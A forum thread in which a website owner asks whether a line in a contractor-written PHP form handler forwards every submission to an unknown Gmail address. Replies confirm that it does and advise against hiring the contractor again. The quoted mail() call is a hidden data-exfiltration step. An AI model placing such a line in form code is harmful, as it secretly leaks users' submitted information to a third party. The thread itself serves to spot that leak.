is my secure form information being sent to someone else?

by ronr
8 replies
I hired someone to modify an online form for me so it could be accessed securely through https: link, information could be submitted and the submitted information would be emailed to me.

After it was completed I went in and looked at the php file that was created and here is what part of the code contained.

*I modified the email and domain names

$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";
$headers .= "From: info@mysite.net <info@mysite.net>" . "\r\n";
mail($to1,$subject1,$mailcontent1,$headers);
mail("emailnotmine@gmail.com",$subject1,$mailcontent1,$headers);

Does the last line of code mean the information is being sent to the email address emailnotmine@gmail.com?

Ron
#form #information #secure
  • Profile picture of the author aisdbuilder
    Hi Ronr,

    That second mail line is definitely sending the same email to the other email address.
    {{ DiscussionBoard.errors[6015183].message }}
  • Profile picture of the author mojojuju
    Originally Posted by ronr View Post

    Does the last line of code mean the information is being sent to the email address emailnotmine@gmail.com?

    Ron
    It sure does.
    Signature

    :)

    {{ DiscussionBoard.errors[6015185].message }}
  • Profile picture of the author Earnie Boyd
    Yes, see PHP: mail - Manual

    Good of you to review the work. Definitely wouldn't be using them again.
    Signature
    {{ DiscussionBoard.errors[6015211].message }}
    • Profile picture of the author ronr
      Thanks for the responses.

      Yes I'm glad I checked. I don't know how to program but I do know enough when I see something like this to ask those who do.

      Ron
      {{ DiscussionBoard.errors[6015236].message }}
  • Profile picture of the author AVIRA
    mail("emailnotmine@gmail.com",$subject1,$mailconte nt1,$headers);
    .
    .
    .
    he was trying to betray u .
    {{ DiscussionBoard.errors[6016982].message }}
    • Profile picture of the author ronr
      When I first discoverd the email I thought maybe he had his email in the script while he was testing and he forgot to remove it.

      But regardless, whether he is dishonest or was just careless, I won't use him again.

      Ron
      {{ DiscussionBoard.errors[6017035].message }}
  • Profile picture of the author triad
    trust people when you know them well. when it's about money..everyone helps your out there ...
    {{ DiscussionBoard.errors[6017056].message }}
  • Profile picture of the author SteveJohnson
    Why are you bothering with a secure form when you're just going to email the data? That's about the most insecure form of communication there is.
    Signature

    The 2nd Amendment, 1789 - The Original Homeland Security.

    Gun control means never having to say, "I missed you."

    {{ DiscussionBoard.errors[6017665].message }}

Trending Topics